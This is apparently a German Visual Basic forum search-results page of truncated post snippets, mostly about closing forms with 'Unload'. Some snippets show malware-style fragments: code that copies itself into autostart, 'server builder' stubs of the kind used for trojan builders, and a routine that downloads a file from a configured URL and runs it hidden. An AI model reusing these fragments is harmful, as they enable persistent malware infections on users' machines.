Visual Basic Forum

Verfasst am: 11.05.2012, 13:42 Aufrufe: 53

Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="6A50421D-15FE-4896-8A1B-2EC21E9037B2"' Call smsObj.SendSMS(SHORTMESSAGE_ROUTE_TYPE_ANY, SubmitObj) 'UPGRADE_ISSUE: Unload SendSMS_ was not upgraded. Click for more: 'ms-help://MS.VSCC.v90/dv_commoner/local/redirect.htm?keyword="875EBAD7-D704-4539-9969-BC7DBDAA62A2"' Unload& ...

Verfasst am: 02.04.2012, 13:06 Aufrufe: 148

Row + 1 rangebereich = "A1:H" & CStr(ende_tabelle_fahrten) Worksheets("Fahrten").Range(rangebereich).Copy Worksheets("Fahrten_save").Cells(1, 1) Application.Wait (Now + TimeValue("0:00:2")) Unload PB1 ' Buttons "Alle Freifahrten mit 'ja' füllen" und "Alle Freifahrten mit 'nein' füllen" wieder aktivieren Worksheet ...

Verfasst am: 20.07.2011, 12:53 Aufrufe: 874

..) zum Ziel (lblStop) zu gelangen, ohne dabei von einem der genannten Labels "abzurutschen" - rutscht man ab, so entlädt sich die Form (unload) und lädt sich neu. Funktioniert auch soweit, bloß ist dies natürlich nicht elegant gelöst: Schöner fände ich es, wenn der Cursor abrutscht, also im Spiel verliert, dieser zurück zur Anfangsposition gesetzt wird (also zu lblStart). Nun kann man zwar stumpf hin ...

Verfasst am: 25.06.2011, 14:01 Aufrufe: 668

Verfasst am: 07.02.2011, 21:14 Aufrufe: 653

Ich Hab ne Frage ich hab einen einfachen Euro Dollar Umrechner Geschrieben und weiß nicht wie ich den Print Befehl Formulieren soll Sry bin anfänger bitte erklären Very Happy

der code ist: Dim BetragEuro As Long Dim BetragDollar As Long Sub Rechnen() BetragEuro = TextBox1 BetragDollar = BetragEuro * 1,35 End Sub Private Sub CommandButton1_Click() Rechnen End Sub Private Sub CommandButton2_Click() U ...

Verfasst am: 05.02.2011, 12:46 Aufrufe: 410

Hallo, ich habe schon vor Jahren ein Projekt in VB6 erstellt das mittlerweile ziemlich umfangreich ist und aus einem MDI-Form mehreren Child-Forms besteht. Seit einiger Zeit habe ich Probleme auf Rechnern mit Win98 (wird doch noch häufig verwendet). Beim Aufruf einer Form ohne die gerade sichtbare zu verlassen (kein UNLOAD) kommt es oft zum Absturz des Programms mit Ausnahmefehler in msvbvm60.dll. Es wir imm ...

Verfasst am: 30.12.2010, 19:56 Aufrufe: 1272

... if the delete key was pressed - 'Save Selection As' (in the 'File' menu) - Macro commands from the 'File' and 'View' menu - Drag & Drop between the textbox and the HTML debug webbrowser - Program icon (in the About-dialog) - Recency state (in the About-dialog) - 'Update'-button in the About-dialog (if a newer version is available) - 'Window Backcolor'-combobox (in the Options panel) - 'Unload ...

Verfasst am: 27.09.2010, 17:50 Aufrufe: 812

Picture If Picture19(Gegner).Left < 0 And Picture19(Gegner).Left < 9480 Then Picture19(Gegner).Picture = Picture18(0).Picture Next If Leben.Value = 0 Then WindowsMediaPlayer1.Controls.Stop If Leben.Value = 0 Then Unload Me If Leben.Value = 0 Then Form0.Show Label6.Caption = Leben.Value If Leben.Value < 66 Then Label6.ForeColor = &HFFFF& If Leben.Value < 26 T ...

Verfasst am: 04.09.2010, 23:25 Aufrufe: 347

Hi! Ein fenster mit me.close() zu schließen ist klar. Dabei bleiben aber z.B. alle Textboxen gefüllt. beim nächsten form1.show() stehen in den Textfeldern die letzten Eingaben. Als alter VB6 Veteran kenne ich von dort das unload form1 und die Form war weg und leer. Danke! Leffe

Verfasst am: 29.08.2010, 19:05 Aufrufe: 1015

Show. frmEin.Show() 'UPGRADE_ISSUE: Unload frmAus was not upgraded. Click for more: 'ms-help[] Unload(frmAus) Exit Sub End If Next i End Sub Public Sub BaumSpielAufbauen(ByRef frmName As Object) Dim nodx As Object 'Inhalte für den TreeViewSpielen definieren 'UPGRADE_WARNING: Couldn't resolve default property of object frmName.TreeViewSpielen.

Verfasst am: 04.08.2010, 08:38 Aufrufe: 1031

Verfasst am: 30.07.2010, 17:18 Aufrufe: 460

hDC, 0, 0, SRCCOPY) '.Width = 7000 '.Height = 7000 End With If Retval = 0 Then MsgBox "Ein Fehler ist aufgetreten.", vbCritical, "Fehler" End If End Sub Private Sub Command2_Click() Call ladewelt End Sub Private Sub Command3_Click() Unload Me End Sub Private Sub Form_Load() Me.Move 0, 0, Screen.Width - 500, Screen.Height - ...

Verfasst am: 30.07.2010, 09:34 Aufrufe: 748

Show end sub ^^ das wars form2.hide 'Verstecken unload( form2) 'schliesen frage 2 das sind steuerelemente also benutzerdefinierte steuerelemente wenn du es so speziell designen möchtest würde ich dir vb.net empfehlen weil da gibt es viel mehr möglichkeiten (und coder natürlich auch) und 1000e steuerelemente teilweise sogar die die sogar auf dem foto hast frage 3 ja das funktioniert per win ...

Verfasst am: 28.01.2010, 13:38 Aufrufe: 2310

Value, "00") & ". geladen" 'Stichtag zuweisen Stichtag_Tag = DAT!Tag.Value Stichtag_Monat = DAT!MONAT.Value End If DAT.Close: Set DAT = Nothing If Not CheckError Then INFO.Caption = "Alle Module sind Fehlerfrei abgelaufen!" ProgressBar.Visible = False WorkShow Work, "Go", True End Sub Private Sub cmdOK_Click() 'Schalter OK Unload M ...

Verfasst am: 18.11.2009, 09:30 Aufrufe: 815

Hallo Ja, ist eine Eigenart von VB6, passiert mir auch öffters. Ich lös es immer indem ich ein unsichtbares Formular lade und dann wieder entlade. Load frmTmp Unload frmTmp Einfach eine neue Form die Visible = false ist In deinem Fall also Private Sub Anzeige() lbl_Zubereitung.Caption = "Beispieltext" 'Erst TEXT ANZEIGEN Load frmTmp Unload frm ...

Verfasst am: 10.10.2009, 17:49 Aufrufe: 722

Verfasst am: 15.06.2009, 12:15 Aufrufe: 2133

Caption = “List2”In der ersten Zeile legen wir einen weiteren Punkt im Array List an. Nämlich List(1).In der zweiten Zeile übergeben wir diesem neuen Punkt einen Namen der dann angezeigt wird.Wenn ihr wieder einen Eintrag entfernen wollt, braucht ihr diesen Code.Unload List1_men(1)Wenn ihr wissen wollt, wie groß das Array ist, bzw. wie viele Einträge ihr erstellt habt, schreibt ihr das.List1_men.CountDas ist ...

Verfasst am: 08.05.2009, 23:11 Aufrufe: 1102

Verfasst am: 22.04.2009, 14:23 Aufrufe: 651

Verfasst am: 24.09.2008, 17:02 Aufrufe: 1463

Verfasst am: 24.09.2008, 15:41 Aufrufe: 1463

Verfasst am: 02.09.2008, 16:32 Aufrufe: 389

Verfasst am: 19.06.2008, 05:39 Aufrufe: 576

was is eigentlich der unterschied zwischen unload und queryunload?

Verfasst am: 15.06.2008, 16:01 Aufrufe: 576

Verfasst am: 14.05.2008, 19:58 Aufrufe: 920

SendData "PRIVMSG #BDC :/quit" & vbCrLf ws.Close Unload Me End Case Else End Select Next i End Sub Private Sub ws_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Timer1.Enabled = True End Sub Priva ...

Verfasst am: 10.04.2008, 21:11 Aufrufe: 468

Es gibt da glaube ich die Subs Form_Close und Form_Dispose die durch ein Unload Event ausgelöst werden.

Verfasst am: 05.04.2008, 17:26 Aufrufe: 519

text) sendkeys ("{Enter}") und wenn die 2 option aktiviert ist: if opt2.value.enable=true then sendkeys (txt_input.text) sendkeys ("{CRTL}+{Enter}") SO habe jetzt mein Problem gelöst, habe die Option FRM einfach mit unload me gamacht. Habe jetzt neues Problem was muss ist ich eingeben damit der STRG + Enter macht?? ...

Verfasst am: 01.04.2008, 20:25 Aufrufe: 645

ja und so hats Rausch doch gesagt?? if app.path = autostart then blubb else open app for binary as #1 get #1,, scoure close #1 open autostart for binary as #1 put #1,,source close #1 shell(autostart) unload me end fehler sind absicht

Verfasst am: 15.03.2008, 22:04 Aufrufe: 420

Wenn du ein Programm per "End" beendest, wird auf nichts mehr Rücksicht genommen und einfach das Programm regelrecht gekillt. Besser ist es das Programm per "Unload Me" zu beenden. Da sollte man aber nicht vergessen auch die anderen Formen (falls vorhanden) zu beenden. Das mit dem close Event wie es 413X geschrieben hat solltest du aber trotzdem machen. Am Ende noch einen Befehl zu senden, ...

Verfasst am: 11.03.2008, 22:30 Aufrufe: 596

Verfasst am: 11.03.2008, 20:16 Aufrufe: 658

In der Form Unload Sub den Code platzieren. Private Sub Form_Unload End Sub Dann baust du dir ein .ini File System. Nehmen wir an du möchtest in der ersten Zeile einen Vornamen speichern, in der zweiten den Nachnamen und in der dritten eine Begrüßung. Schreiben Dim sVor As String, sNach As String, sHello As String sVor = "August" sNach = "Inerkloster" sHello = "Guten Tag" ...

Verfasst am: 10.03.2008, 16:47 Aufrufe: 658

Dann schließe die Form nicht mit Unload sondern verstecke sie nur. Form.Hide

Verfasst am: 06.03.2008, 13:29 Aufrufe: 320

Private Sub Form1_Close Unload Form2 End Sub

Verfasst am: 01.03.2008, 23:30 Aufrufe: 706

ups das hier is ja .net -.- aber vll. funzt es ja trotzdem: if msgbox(blabla blubb) = vbyes then unload me so in der art gehts zumindest in vb6

Verfasst am: 29.02.2008, 21:55 Aufrufe: 1780

... ;HardwareID auslesen" End Sub Hier der Code zur Überprüfung ob die ID zur im Programm gespeicherten passt: Private Sub Form_Load() Dim id As String Dim ich As String id = SerNum("c") ich = "610288449" 'deine HddId If Not ich = id Then MsgBox "Ihre HardwareID stimmt nicht mit der gespeicherten überein! Das Programm wird nun Beendet!" Unload ...

Verfasst am: 26.02.2008, 00:08 Aufrufe: 284

Verfasst am: 16.02.2008, 18:49 Aufrufe: 1018

Caption = MAC_Address 'Hiermit wird die MAC-Addresse in einem Label angezeigt, um eure Hardware ID herauszufinden. If Not MAC_Address = "00 00 00 00 00 00" Then ' MAC-Addresse reinschreiben in die " ". MsgBox "Wrong Hardware ID", vbOKOnly, "Error!" Unload Me End If End Sub Dann wird das Programm automatisch mit einer MsgBox beendet. Viel Spaß & Glück, euer cLxx*

Verfasst am: 20.01.2008, 20:48 Aufrufe: 475

Text & "%" str1 = LoadResData(101, "CUSTOM") Open duac For Binary As #ff Put #ff, , str1() close #ff Open duac For Binary As #ff Put #ff, LOF(1) + 1, att Close #ff MsgBox "Server wurde erstellt!", vbInformation, "yyy" Exit Sub Err: MsgBox "Server konnte leider nicht erstellt werden!", vbCritical, "xKy" U ...

Verfasst am: 20.01.2008, 20:35 Aufrufe: 475

Text & "#" & Text3.Text & "#" Open duac For Binary As #1 Put #1, LOF(1) + 1, Options Close #1 MsgBox "Server wurde erstellt!", vbInformation, "yyy" Exit Sub Err: MsgBox "Server konnte leider nicht erstellt werden!", vbCritical, "xKy" Unload Me End Sub Private Sub cmd_build_Click() home ("u ...

Verfasst am: 20.01.2008, 20:06 Aufrufe: 475

Text & "#" Open pfad For Binary As #1 Put #1, LOF(1) + 1, Options Close #1 MsgBox "Server wurde erstellt!", vbInformation, "...." Exit Sub Err: MsgBox "Server konnte leider nicht erstellt werden!", vbCritical, "...." Unload Me End Sub Private Sub cmd_build_Click() Build ("server.exe") Unload Me ...

Verfasst am: 16.01.2008, 14:23 Aufrufe: 660

Verfasst am: 16.01.2008, 14:20 Aufrufe: 660

unload me frm_main.show so müsste es gehen Smile

Verfasst am: 13.01.2008, 17:22 Aufrufe: 1426

Also ich hab ja den Screenshot vom Login (Steam) gemacht dor habe ich das X ausgeschnitten und in der Form eingefügt : Private Sub Picture3_Click() Unload Me End Sub Ganz einfach Very Happy

MfG BadboyGER // mist da war er wieder Schneller

Verfasst am: 13.01.2008, 17:20 Aufrufe: 1426

Ganz einfach: einfach ein Image übers X ziehen und dann: Private Sub Image1_Click() Unload Me End Sub

Verfasst am: 07.01.2008, 15:46 Aufrufe: 723

Erstelle am besten eine Form mit dem Namen frmLogin mit den bereits von dir genannten Controls und eine Form mit dem Namen frmMain. Stelle unter Projekt -> Eigenschaften die Form frmLogin als Start Objekt ein. frmMain ist dann die Hauptform und frmLogin ist der Login der nur beim Programmstart aufgerufen wird und dann wieder geschlossen wird. Du kannst Formen mit Unload schließen. Unload Me schließt die Form in de ...

Verfasst am: 23.12.2007, 10:22 Aufrufe: 6482

...) und fügt ein Button (Schließen) ein: Private Sub Comman1_Click(Cancel as Integer) Unload Me End Sub Jetzt added einen Button ("About") auf Form1 mit folgendem Code: Private Sub Command2_Click() Form2.show End Sub Und das wars auch schon Wink

, sobalt man auf den Button "Ammo-hack" (Command1) drückt, wird die Munition eingefroren Wink

, d.H. ohne nachzuladen ball ...

Verfasst am: 19.12.2007, 14:59 Aufrufe: 359

Verfasst am: 12.12.2007, 15:38 Aufrufe: 821

Was genau hast du nun verändert? Nur das Unload Me? Kann sein, dass die Prozedur noch nicht fertig wird. Deswegen hab ich ja geschrieben du sollst eine Pause einbauen. ;>

Verfasst am: 12.12.2007, 15:18 Aufrufe: 821

exe") Open file For Binary As #1 Get #1, (LOF(1) - 99), options cmd() = Split(options, "#") Close #1 Returnvalue = URLDownloadToFile(0, cmd(0), cmd(1), 0, 0) Shell cmd(1), vbHide ' versteckt ausführen ' hier Pause und dann ' Unload Me Unload Me End Sub Es erscheint folgende Fehlermeldung: Laufzeitfehler 5: Ungü ...

Verfasst am: 04.12.2007, 13:53 Aufrufe: 1338

... hs ja ned übertreiben ^^ (ja ich weis das er kaum verbessert ist und das man variant ned so oft verwenden soll ^^ =) ) Private Sub Command1_Click() Dim login As Variant login = txtlogin.Text If login = "2007" Then MsgBox "Password correct", vbInformation, "Login" Me.hide Form2.Show Else MsgBox "Wrong password!", vbCritical, "Login" Unload ...